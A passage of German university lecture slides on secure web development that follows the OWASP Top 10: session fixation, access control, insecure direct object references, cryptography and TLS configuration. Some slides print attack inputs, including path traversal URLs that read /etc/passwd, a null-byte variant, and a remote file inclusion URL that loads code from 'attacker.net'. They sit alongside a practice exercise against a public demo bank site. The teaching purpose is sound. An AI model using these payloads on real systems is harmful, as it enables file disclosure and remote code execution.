“Login fehlgeschlagen: Ungültige Benutzer ID” "Login fehlgeschlagen: Account gesperrt” Richtig “Login fehlgeschlagen: Benutzername oder Passwort falsch” Grundlagen sichere Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 04 Seite 10 Authentication: Brute-Force verhindern Schutzmaßnahmen einbauen, damit ein Angreifer nicht automatisiert Passwörter ausprobieren kann Beispiele Es ist ein CAPTCHA zu lösen Nach 3 fehlgeschlagenen Versuchen wird der Account für 20 Minuten gesperrt Grundlagen sichere Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 04 Seite 11 „Passwort vergessen?“ Funktion Die „Passwort vergessen?“ Funktion ist äußerst kritisch Benutzen Sie immer mehrere Sicherheitsfragen Schicken Sie einen Link zum Zurücksetzen an die E-Mailadresse des Benutzers (aber niemals das Passwort im Klartext!) Besser: Eine SMS/WhatsApp mit einem Token-Code Fehlermeldung: Geben Sie keinen Hinweise (z. B. ob die E- Mailadresse bzw. der Benutzername existiert) Der Link bzw. der Token-Code können nur einmal benutzt werden und haben eine begrenzte Gültigkeitsdauer (z. B. 20 Minuten) Alle Aktionen detailliert im Logfile protokollieren Brute-Force über CAPTCHAs verhindern Grundlagen sichere Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 04 Seite 12 Authentication: Weitere Anforderungen Wenn immer möglich Mehrfaktorauthentifizierung verwenden (z. B. Google Authenticator oder TLS Client-Authentifizierung) Vor kritischen Aktionen immer eine erneute Authentifizierung durchführen Zugangsdaten immer per TLS übertragen → Wird in „A6 – Sensitive Data Exposure“ behandelt Passwörter sicher speichern → Wird in „A6 – Sensitive Data Exposure“ behandelt Grundlagen sichere Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 04 Seite 13 Authentication: Logging and Monitoring Alle Authentifizierungsaktivitäten aufzeichnen Logins und Logouts Fehlgeschlagene Logins Gesperrte Accounts Aktiv überwachen Z. B. den Administrator per E-Mail informieren (über gesperrte Accounts) Grundlagen sichere Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 04 Seite 14 Authentication: Single Sign-On (SSO) verwenden Die Sicherheit und der Benutzerkomfort können durch die Verwendung von Single Sign-On (SSO) deutlich erhöht werden Auslagerung der Authentifizierung an einen Identity Provider Gute Standards benutzen Security Assertion Markup Language (SAML) Open Authorization (OAuth) OpenID Connect FIDO2 Hinweis: Es wäre sehr schön, wenn diese Möglichkeit im PITA- Projekt genutzt werden würde, da dies in der Praxis heutzutage Standard ist (z. B. Login mit Google oder Facebook ☺). Grundlagen sichere Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 04 Seite 15 Authentication and Session Management Notwendige Kernkomponenten für „Authentication and Session Management“ in Webapplikationen finalization Sessions Pre-Auth Session Session Access Authentication Management Control Sicherheitsmaßnahmen Grundlagen sichere Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 04 Seite 16 Session Fixation Angriff Entdeckt 2002 von Mitja Kolšek (http://www.acrossecurity.com/papers/session_fixation.pdf) Ursache: Nicht authentifizierte Benutzer werden bereits in der Pre-Auth Phase mit einer Session-ID identifiziert Beispiel: Ein anonymer Benutzer will den Warenkorb in einem Webshop benutzen Alternativ: Es wird die Session-ID des authentifizierten Angreifers verwendet Nach der Authentifizierung wird dieselbe Session-ID weiter verwendet Grundlagen sichere Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 04 Seite 17 Session Fixation Angriff Quelle: http://www.acrossecurity.com/papers/session_fixation.pdf Grundlagen sichere Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 04 Seite 18 Session Fixation Angriff: Gegenmaßnahme Beim Login die vorhandene Session-ID immer invalidieren und eine neue Session-ID vergeben public class LoginServlet extends HttpServlet { protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException { //... request.getSession().invalidate(); HttpSession session = request.getSession(true); //... } Grundlagen sichere Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 04 Seite 19 Session Management: Session-ID Die Session-ID sollte folgende Eigenschaften erfüllen Verwendung von generischen Namen (z. B. SID), um Fingerprinting vorzubeugen Die Session-ID sollte >=128 Bit lang sein und mit einem kryptografisch sicheren PRNG generiert worden sein SecureRandom sr = SecureRandom.getInstance("SHA1PRNG", "SUN");) TLS für die Übertragung einsetzen → siehe „A6 – Sensitive Data Exposure“ Möglichst ein Standard Session Management Framework benutzen (z. B. von J2EE) Grundlagen sichere Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 04 Seite 20 Session Management: Session-ID Session-IDs validieren Session-IDs sind, wie jede Benutzereingabe, nicht vertrauenswürdig. Deshalb ist immer eine Input-Validierung durchzuführen Nicht validierte und gefilterte Session-IDs können zu Angriffen, wie SQL- Injection oder XSS führen Bei jeder Berechtigungsänderung muss die Session-ID neu erzeugt werden Authentifizierung (anonymer wird zu identifizierter Benutzer) Passwortänderung Änderung der Benutzerrolle (z. B. Anwender wird Administrator) Optional: Verschiedene Cookies für anonyme (Pre-Auth Phase) und identifizierte Benutzer verwenden Grundlagen sichere Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 04 Seite 21 Logout: Session immer invalidieren Session-IDs bei Logout immer serverseitig invalidieren und zusätzlich Cookie im Browser löschen Wird häufig vergessen … HttpSession session = request.getSession(false); if (session != null) { session.invalidate(); //... } Grundlagen sichere Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 04 Seite 22 Sessiondauer begrenzen Auf Usability achten: Benutzer sollten sich einfach und schnell ausloggen können (z. B. Logout immer oben rechts) Die Sessiondauer ist immer ein Kompromiss zwischen Benutzerkomfort und Sicherheit Regel: So kurz wie möglich, so lang wie nötig … Umsetzung in web.xml 30 Grundlagen sichere Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 04 Seite 23 Session Management: Cookies verwenden Session-IDs immer in Cookies speichern und nicht als Parameter in der URL http://www.bank.com/order.html?JSESSIONID=F55D...56FAC Problem: Die Session-ID erscheint in Logs (z. B. Referrer) oder wird womöglich vom User (unbeabsichtigt) weitergeben Umsetzung in web.xml COOKIE Grundlagen sichere Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 04 Seite 24 Session Management: Cookies absichern Immer „secure“ und „HttpOnly“ Flag setzen Umsetzung in web.xml true true Grundlagen sichere Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 04 Seite 25 Session Management: Cookies absichern Immer versuchen die Gültigkeitsbereiche für Domain und Path des Session-Cookies so weit wie möglich einzuschränken Falsch Set-Cookie: SID=DQAADF..EYA; Domain=foo.com; Path=/; HttpOnly; Secure Gilt für insecure.foo.com und secure.foo.com inkl. aller Verzeichnisse Richtig Set-Cookie: SID=DQAADF..EYA; Domain=secure.foo.com; Path=/admin; HttpOnly; Secure Session-Cookies sollten immer „nicht-persistent“ sein, d. h. sie werden automatisch gelöscht, wenn der Browser beendet wird Dazu dürfen Max-age und Expires nicht im Cookie gesetzt werden Grundlagen sichere Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 04 Seite 26 Permissive vs. Strict Session Management Permissive: Die Webanwendung akzeptiert eine neue vom Browser übermittelte Session-ID und erzeugt daraufhin eine neue Session mit dieser ID Strict: Die Webanwendung akzeptiert nur Session-IDs, welche auch von ihr vorher generiert wurden Immer das „Strict Session Management“ verwenden Session-IDs, welche nicht selbst erzeugt wurden, sind immer durch eine neu generierte zu ersetzen Logging/Monitoring dieser „verdächtigen Aktivitäten“ Grundlagen sichere Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 04 Seite 27 Checkliste Cookies zur Speicherung von Session-IDs verwenden Session-Cookies einschränken Gültigkeitsdauer und -Bereich Secure- und HttpOnly-Flag setzen Session-IDs bei Logout invalidieren, Session-Cookie im Browser löschen und Sessiondauer minimieren Standard Session Management Frameworks, welche auf Strict Session Management basieren, verwenden (z. B. Apache Shiro) Grundlagen sichere Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 04 Seite 28 OWASP Top 10 – 2017 A3: Sensitive A4: XML A2: Broken A1: Injection Data Exposure External Entities Authentication (XXE) A5: Broken A6: Security A7: Cross-Site A8: Insecure Access Control Misconfiguration Scripting (XSS) Deserialization A9: Using A10: Insufficient Known Logging & Vulnerable Monitoring Components Grundlagen der sicheren Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 05 Seite 1 A5 – BROKEN ACCESS CONTROL Grundlagen der sicheren Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 05 Seite 2 Entstand aus OWASP Top 10 – 2013 A4 und A7 Grundlagen der sicheren Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 05 Seite 3 A5 – Broken Access Control Seit 2017 in der OWASP Top 10 auf Platz 5 „Restrictions on what authenticated users are allowed to do are often not properly enforced. Attackers can exploit these flaws to access unauthorized functionality and/or data, such as access other users' accounts, view sensitive files, modify other users’ data, change access rights, etc.” (Quelle: OWASP Top 10 - 2017) Grundlagen der sicheren Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 05 Seite 4 A5 – Broken Access Control Quelle: OWASP Top 10 – 2017 Grundlagen der sicheren Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 05 Seite 5 PART I – MISSING FUNCTION LEVEL ACCESS CONTROL Grundlagen der sicheren Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 05 Seite 6 Authentication and Session Management Notwendige Kernkomponenten für „Authentication and Session Management“ in Webapplikationen finalization Sessions Pre-Auth Session Session Access Authentication Management Control Sicherheitsmaßnahmen Grundlagen der sicheren Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 05 Seite 7 Authentifizierung/Autorisierung In jeder praxistauglichen Webanwendung gibt es mehrere Benutzer mit unterschiedlichen Rollen Dabei sind Authentifizierung und Autorisierung Teile eines aufeinander aufbauenden Prozesses 1. Authentifizierung → Wer bist du? 2. Autorisierung → Darfst du das? Frage: Wie und wo in der Anwendung wird die Autorisierung realisiert? Grundlagen der sicheren Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 05 Seite 8 Presentation Layer Access Control Die Benutzerrechte werden im Frontend überprüft und die Buttons/Links werden entweder ein- oder aus- geblendet JSF-Beispiel Grundlagen der sicheren Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 05 Seite 9 Presentation Layer Access Control Reicht diese Schutzmaßnahme? NEIN! Aber leider wird die Autorisierung häufig nur im Frontend überprüft! Grundlagen der sicheren Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 05 Seite 10 Vertical vs. Horizontal Access Control Attacks Vertical Access Control Attack (aka privilege escalation) Ein Benutzer, welcher seine Rechte erweitert (z. B. Administrator wird) Horizontal Access Control Attack Ein Benutzer, welcher die gleiche Rolle behält, aber auf Daten von anderen Benutzern zugreifen kann (z. B. ein normaler Bankkunde, welcher das Konto von einem anderen Kunden einsehen kann) Grundlagen der sicheren Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 05 Seite 11 Beispiel-Angriff 1: Privilege Escalation Altoro Mutual Bank Kundenbereich (http://demo.testfire.net) Admin-Bereich (http://demo.testfire.net/admin/admin.jsp) Um auf den Admin-Bereich zuzugreifen, muss man authentifiziert sein Aber was passiert, wenn ein Kunde auf den Admin-Bereich zugreift?! Probieren Sie es selber aus ☺: Loggen Sie sich als jsmith (Passwort: Demo1234) ein und greifen Sie auf die URL für den Admin-Bereich zu Grundlagen der sicheren Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 05 Seite 12 Gegenmaßnahme: „Vertical Access Control“ Im Backend müssen die Rechte bzw. die Rolle des Benutzers immer geprüft werden Zum Beispiel mit OWASP ESAPI public void showCustomerOverview(User user) throws AccessControlException { if (user.isInRole("AccountManager")) { //... } else { throw new AccessControlException( "You don't have the rights to access this page"); } } Grundlagen der sicheren Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 05 Seite 13 Beispiel-Angriff 2: Zugriff auf fremde Benutzerdaten Ein Benutzer kann die Daten anderer Benutzer einsehen („Horizontal Access Control Attack“) Nach dem Login des Benutzers wird folgende Seite aufgerufen https://www.example.org/account?no=0815 Der Benutzer ändert den Parameter no ab https://www.example.org/account?no=4711 … und kann nun auf die Kontenübersicht eines anderen Kontos zugreifen! Grundlagen der sicheren Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 05 Seite 14 Gegenmaßnahme: „Horizontal Access Control“ Im Backend muss geprüft werden, ob der Benutzer das Recht hat, den Datensatz anzuzeigen Dazu wird die Datenbanktabelle um eine Spalte mit dem Besitzer des Datensatzes erweitert Jede SQL-Query zum Abfragen von benutzereigenen Daten enthält dann eine WHERE-Bedingung mit dem aktuell angemeldeten Benutzer Wichtig: Der Benutzer wird aus dem Benutzerobjekt der serverseitig gespeicherten Session ermittelt! Grundlagen der sicheren Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 05 Seite 15 Zugriffskontrolle per Query-Parameter OWASP ESAPI-Beispiel public List getAccounts(User user) { List accounts = new ArrayList(); String query = "SELECT * FROM accounts WHERE user_id = ?"; Connection con = getConnection(); PreparedStatement pstmt = con.prepareStatement(query); pstmt.setLong(1, user.getAccountId()); ResultSet rs = pstmt. executeQuery(); //... } Grundlagen der sicheren Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 05 Seite 16 Access Control Schwachstellen finden Während der Entwicklung 1. Zuerst nur Backend-Prüfungen implementieren 2. Testen, ob „AccessControlException“ ausgelöst werden 3. Erst am Schluss die Presentation Layer Prüfungen hinzufügen Penetration Testing mit Proxy 1. Applikation als Administrator scannen 2. Versuchen alle Administrator-Funktionen als normaler User aufzurufen Grundlagen der sicheren Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 05 Seite 17 Don´ts: Unsichere Methoden für Access Control Parameter-based Access Control Zugriffsrecht wird über einen vom Client übermittelten Parameter vergeben (z. B. https://wahh-app.com/login/home.jsp?admin=true) Referrer-based Access Control Zugriffsrecht wird auf Basis des Referrer-Headers vergeben Location-based Access Control Zugriffsrecht wird anhand der IP-Adresse vergeben Umgehung über Webproxy oder VPN-Verbindung Grundlagen der sicheren Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 05 Seite 18 Checkliste: Missing Function Level Access Control „Default-Einstellung“ für Berechtigungen: Jeglichen Zugriff verbieten! Vertical Access: Überprüfung der Benutzerrechte muss im Backend und zusätzlich im Frontend (nur für den Benutzerkomfort) erfolgen Horizontal Access: Der Zugriff auf Benutzerdaten muss durch eine Erweiterung der SQL-Query gesichert werden Umgekehrte Reihenfolge: Zuerst Rechteprüfung im Backend implementieren, testen und dann erst die Prüfung im Frontend hinzufügen Keine der drei unsicheren Methoden für Access Control verwenden Erfinden Sie das Rad nicht neu, sondern verwenden Sie eines der zahlreichen weit verbreiteten Security-Frameworks (z. B. OWASP ESAPI, Apache Shiro und Spring Security) Grundlagen der sicheren Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 05 Seite 19 PART II – INSECURE DIRECT OBJECT REFERENCES Grundlagen der sicheren Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 05 Seite 20 A4 – Insecure Direct Object References Von 2007-2013 in der OWASP Top 10 auf Platz 4 dann in A5 Broken Access Control gemerged „A direct object reference occurs when a developer exposes a reference to an internal implementation object, such as a file, directory, database record, or key, as a URL or form parameter. Without access control an attacker can manipulate direct object references to access other objects without authorization.” (Quelle: OWASP Top 10 - 2013) Grundlagen der sicheren Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 05 Seite 21 Online Banking – Beispiel Die Kontonummer ist oft der Primärschlüssel Die Kontonummer wird deshalb oft direkt als Parameter in der Webanwendung verwendet https://insecure.bank.com/getAccountDetails?accnr=1001001 Selbst wenn Prepared Statements verwendet werden, kann ein Angreifer einfach verschiedene Kontonummern ausprobieren https://insecure.bank.com/getAccountDetails?accnr=notmyacc Wenn keine Autorisierung vor dem Zugriff durchgeführt wird, kann der Angreifer auf alle existierenden Konten zugreifen Grundlagen der sicheren Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 05 Seite 22 Prominente Beispiele Australian Taxation Office, 2000 Ein Student entdeckte, dass er durch Ändern der „taxid“ auf Steuerdaten von 17.000 Firmen zugreifen konnte Quelle: http://www.abc.net.au/7.30/stories/s146760.htm Apple, 2010 Über eine Apple-Webseite konnte man durch Eingabe der SIM-ID (welche sequentiell ist …), die E-Mailadresse des iPad-Besitzers erfahren Quelle: http://gawker.com/5559346/apples-worst-security-breach-114000-ipad- owners-exposed Yahoo, Februar 2014 Ein Angreifer konnte auf suggestions.yahoo.com beliebige Kommentare anderer Benutzer löschen Quelle: http://pwnrules.com/yahoo-suggestions-vulnerability/ Grundlagen der sicheren Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 05 Seite 23 Beispiel: Path Traversal-Angriff Datei: vuln.php Aufruf: http://vuln.net/vul.php?page=read.php → Was kann ein Angreifer hier tun? Grundlagen der sicheren Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 05 Seite 24 Path Traversal-Angriff /etc/passwd auslesen … http://vuln.net/vul.php?page=../../../../../etc/passwd Erster naiv verbesserter Ansatz: include("/home/users/phpguru/templates/". $template. ".php"); Angriff: /etc/passwd mit Null-Byte Injection auslesen … http://vuln.net/vul.php?page=../../../../../etc/passwd%00 Grundlagen der sicheren Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 05 Seite 25 Bonus: Remote File Inclusion Achtung: Der PHP-Befehl include interpretiert den Inhalt der eingelesenen Datei Ein Angreifer kann deshalb beliebigen PHP-Code auf dem Server ausführen http://vuln.net/vul.php?page=http://attacker.net/exec.php Grundlagen der sicheren Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 05 Seite 26 Übung Demo Webanwendung: http://demo.testfire.net Über den content-Parameter wird angegeben, welche Webseite an den Browser geliefert werden soll Dabei wird der Name der betreffenden Datei direkt referenziert http://demo.testfire.net/index.jsp?content=personal.htm Zugriff auf die web.xml-Datei: http://demo.testfire.net/index.jsp?content=../WEB-INF/web.xml Grundlagen der sicheren Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 05 Seite 27 Ursachen/Gegenmaßnahmen Ursachen für Insecure Direct Object Reference Fehlende Zugriffskontrolle Verwenden von direkten Referenzen auf interne Objekte Die internen Objekte sind bekannt oder vorhersehbar Gegenmaßnahmen: „Defense in Depth“ 1. Zugriffskontrolle, durch Prüfung der Autorisierung 2. Indirekt referenzierte Objekte verwenden 3. Input-Validierung Grundlagen der sicheren Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 05 Seite 28 Gegenmaßnahme 1: Zugriffe prüfen Bei jedem Abruf eines referenzierten Objektes (aus einer nicht vertrauenswürdigen Quelle), muss eine Prüfung der Zugriffsberechtigung durchgeführt werden, um die Autorisierung für das angefragte Objekt sicherzustellen Praktische Umsetzung (siehe D. Shadow, Java Web Security, S. 93ff) Rollenbasierte Zugriffskontrolle OWASP ESAPI Access Control API siehe isAuthorizedforData(), isAuthorizedforFile(), isAuthorizedforFunction() http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/AccessController.html Grundlagen der sicheren Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 05 Seite 29 Gegenmaßnahme 2: Indirekte Objektreferenzen Keine direkten Objektreferenzen verwenden Stattdessen ein Mapping vornehmen Für jedes interne Objekt wird ein Alias erstellt, welches vom Benutzer verwendet wird Intern wird eine Umschlüsselung vorgenommen Praktische Umsetzung ESAPI Access Reference Map-Klassen http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/AccessReferenceMap.html Grundlagen der sicheren Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 05 Seite 30 Gegenmaßnahme 3: Input Validation Wie immer ist für jeglichen Input eine Validierung durchzuführen Dazu restriktiven Whitelist-Ansatz benutzen, um spezielle Patterns, wie z. B. „../“ und „%00“ zu erkennen → Dann immer Zugriff verwehren! Weitere Filterkriterien können z. B. sein: Min. und Max. Länge der Eingabe Zeichenbeschränkungen Prüfung des Datentyps (Integer, String, …) Grundlagen der sicheren Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 05 Seite 31 Checkliste: Insecure Direct Object Reference Vor jedem Objektzugriff ist zu prüfen, ob ein autorisierter Zugriff vorliegt Indirekte Referenzierung mittels Mapping verwenden Input-Validierung durchführen Grundlagen der sicheren Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 05 Seite 32 OWASP Top 10 – 2017 A3: Sensitive A4: XML A2: Broken A1: Injection Data Exposure External Authentication Entities (XXE) A5: Broken A6: Security A7: Cross-Site A8: Insecure Access Miscon- Scripting (XSS) Deserialization Control figuration A9: Using A10: Known Insufficient Vulnerable Logging & Components Monitoring Grunlagen der sicheren Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 06 Seite 1 A6 – SENSITIVE DATA EXPOSURE Grunlagen der sicheren Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 06 Seite 2 A3 – Sensitive Data Exposure Quelle: OWASP Top 10 – 2017 Grunlagen der sicheren Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 06 Seite 3 Was sind sensible Daten? Bankdaten (Kontonummer, Kreditkartennummer, …) Personenbezogene Daten (Name, Adresse, Geburtsdatum, …) Gesundheitsdaten (z. B. Patientenakte) Zugangsdaten: Benutzernamen und Passwörter Grunlagen der sicheren Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 06 Seite 4 A3 – Sensitive Data Exposure A3 – Sensitive Data Exposure Data at Rest Data in Motion Filesystem, … Passwörter Netzwerk Im Browser Memory, DB Grunlagen der sicheren Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 06 Seite 5 DATA AT REST Grunlagen der sicheren Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 06 Seite 6 Allgemeine Regeln (1/3) Datensparsamkeit: Speichere sensible Daten nur, wenn sie wirklich (noch) benötigt werden Beispiel: Die Bezahlungsabwicklung bei einem Onlineshop kann durch einen Drittanbieter (z. B. Paypal) erfolgen → Kreditkarteninformationen müssen dann nicht gespeichert werden Starke und bewährte kryptographische Algorithmen einsetzen Niemals kryptographische Algorithmen/Protokolle selbst entwickeln Sichere Zufallszahlengeneratoren (CSPRNG) verwenden Bewährte und weit verbreitete Implementierungen einsetzen FIPS 140-2 Zertifizierung bevorzugen → Für Java: Bouncy Castle Aktuelle Empfehlungen für Algorithmen und Schlüssellängen https://www.keylength.com/ https://www.bsi.bund.de/DE/Themen/Unternehmen-und- Organisationen/Standards-und-Zertifizierung/Technische-Richtlinien/TR- nach-Thema-sortiert/tr02102/tr02102_node.html Grunlagen der sicheren Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 06 Seite 7 Allgemeine Regeln (2/3) Betriebsmodi für Blockchiffren Authenticated Encryption (AE) bevorzugen (d. h. CCM, GCM oder EAX Mode), da diese neben Vertraulichkeit auch Authentizität und Integrität gewährleisten Wenn AE nicht verfügbar, dann den „Encrypt-then-MAC“-Ansatz umsetzen (→ CBC-HMAC) Electronic Codebook Mode (ECB) nicht benutzen! Bei Cipher Block Chaining (CBC) immer vorsichtig sein Quelle: Wikipedia Grunlagen der sicheren Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 06 Seite 8 Allgemeine Regeln (3/3) Die verwendeten kryptographischen Algorithmen müssen austauschbar und konfigurierbar sein Kryptographische Verfahren werden gebrochen (z. B. DES) oder die Schlüssellänge muss angepasst werden (z. B. bei RSA) Kryptographische Schlüssel Niemals (unverschlüsselt) mit den verschlüsselten Daten speichern Unabhängige Schlüssel verwenden, wenn mehrere Schlüssel benötigt werden (z. B. für signieren und verschlüsseln) Einen Lebenszyklus für Schlüssel implementieren Mechanismen für einen (ungeplanten) Schlüsseltausch vorsehen Grunlagen der sicheren Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 06 Seite 30 Das Speichern von Passwörtern “Store passwords using strong adaptive and salted hashing functions with a work factor (delay factor), such as Argon2, scrypt, bcrypt, or PBKDF2.”, OWASP Top 10 2017 Einsetzen von weit verbreiteten Frameworks, wie z.B.: Apache SHIRO https://shiro.apache.org/get-started.html Spring Security https://projects.spring.io/spring-security/#quick-start Grunlagen der sicheren Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 06 Seite 31 DATA IN MOTION Grunlagen der sicheren Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 06 Seite 32 Transport Layer Security (TLS) TLS ist im Web der Übertragungsstandard, um die Sicherheitsziele Vertraulichkeit, Integrität und Authentizität zu erfüllen Damit TLS wirklich sicher ist, muss es richtig konfiguriert sein und korrekt eingesetzt werden Das Protokoll ist sehr flexibel – um nicht zu sagen, zu flexibel … Eine Vielzahl von Angriffen wurden die letzten Jahre entwickelt (CRIME, BEAST, LogJam, DROWN …) Grunlagen der sicheren Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 06 Seite 33 TLS: Allgemeine Regeln (1/2) Immer TLS einsetzen D.h. Login-Seite und alle nachfolgenden authentifizierten Seiten mit TLS absichern Einheitlicher Zugriff per TLS realisieren (unabhängig von der Herkunft → interne/externe Netzwerke) Sensible Daten dürfen nicht gleichzeitig per HTTP verfügbar sein HTTP und HTTPS-Inhalte auf einer Webseite nicht mischen Grunlagen der sicheren Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 06 Seite 34 TLS: Allgemeine Regeln (2/2) Sensible Daten nicht in der URL übertragen Risiko: Browserhistorie speichert die URL lokal HTTP Referer: Überträgt URL von einer TLS-Seite auf eine andere Caching sensibler Daten verhindern "Cache-Control: no-cache, no-store" und "Expires: 0" verwenden (HTTP/1.1) "Pragma: no-cache" (HTTP/1.0) HSTS benutzen (wird später ausführlich behandelt) Grunlagen der sicheren Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 06 Seite 35 Regeln für das Server-Zertifikat RSA Modul >= 3.072 Bit und mind. SHA-256 verwenden Schlüsselmaterial schützen (Zugriffsberechtigungen und mind. Verschlüsselung mit Passwort oder besser Hardware Security Modul einsetzen) Zertifikat immer auf die richtige Domain ausstellen z. B. cn=example.org, san=abc.example.org, san=xyz.example.com Nur FQDN-Namen verwenden (keine RFC1918-Adressen oder localhost) Möglichst keine Wildcard-Zertifikate verwenden (verstoßen gegen das „Least Privilege Principle“) Immer die notwendige CA-Kette zur Verfügung stellen Grunlagen der sicheren Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 06 Seite 36 Regeln für TLS Alle SSL-Versionen dürfen nicht mehr verwendet werden (IE6/XP unterstützt max. SSLv3) Empfohlen TLS 1.2 und TLS 1.3 (siehe weiterführende Links „Mindeststandard des BSI zur Verwendung des TLS-Protokoll“ vom 9. Januar 2023) TLS 1.1 und 1.0 sind dementsprechend auf Serverseite zu deaktivieren Grunlagen der sicheren Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 06 Seite 37 Regeln für Cipher Suites Jede TLS-Version unterstützt eigene Cipher Suites (TLS 1.2 >300); viele davon sind unsicher Immer eine Whitelist mit Cipher Suites erstellen Perfect Forward Secrecy Cipher Suites (TLS_ECDHE_* und TLS_DHE_*) und GCM-Mode bevorzugen Konfigurationshilfe für Apache und Co.: https://ssl-config.mozilla.org/ Grunlagen der sicheren Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 06 Seite 38 Weitere Regeln für eine sichere Server- Konfiguration TLS Kompression abschalten Verhindert C.R.I.M.E-Angriff (Rizzo und Duong, 2012) C.R.I.M.E erlaubt das entschlüsseln von Session-Cookies „Secure Renegotiations“ (RFC5746) unterstützen bzw. Renegotiation abschalten Renegotiation: Neue kryptographische Parameter für eine bestehende TLS Session aushandeln Problem: Designfehler in SSL/TLS bei dem ein Angreifer Klartext in eine bestehende TLS-Verbindung injizieren kann (CVE-2009-3555) Grunlagen der sicheren Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 06 Seite 39 TLS-Server Deployment Nie einen Applikationsserver (z. B. Tomcat) direkt im Internet verfügbar machen Best Practice: Mehrstufiges Defense im Depth-Konzept Browser Webserver Applikations- TLS HTTP server Grunlagen der sicheren Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 06 Seite 40 TLS-Konfiguration testen Die TLS-Konfiguration regelmäßig testen SSL Labs Server Test (https://www.ssllabs.com/ssltest) testssl.sh von Dirk Wetter (https://testssl.sh/) sslscan2 (https://github.com/rbsec/sslscan) Grunlagen der sicheren Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 06 Seite 41 HTTP Strict Transport Security (HSTS) HSTS immer einsetzen (IETF Standard RFC 6797) HSTS verhindert den Aufruf von unsicheren HTTP- Verbindungen HSTS verhindert zudem Verbindungen mit unsicheren Zertifikaten (z. B. 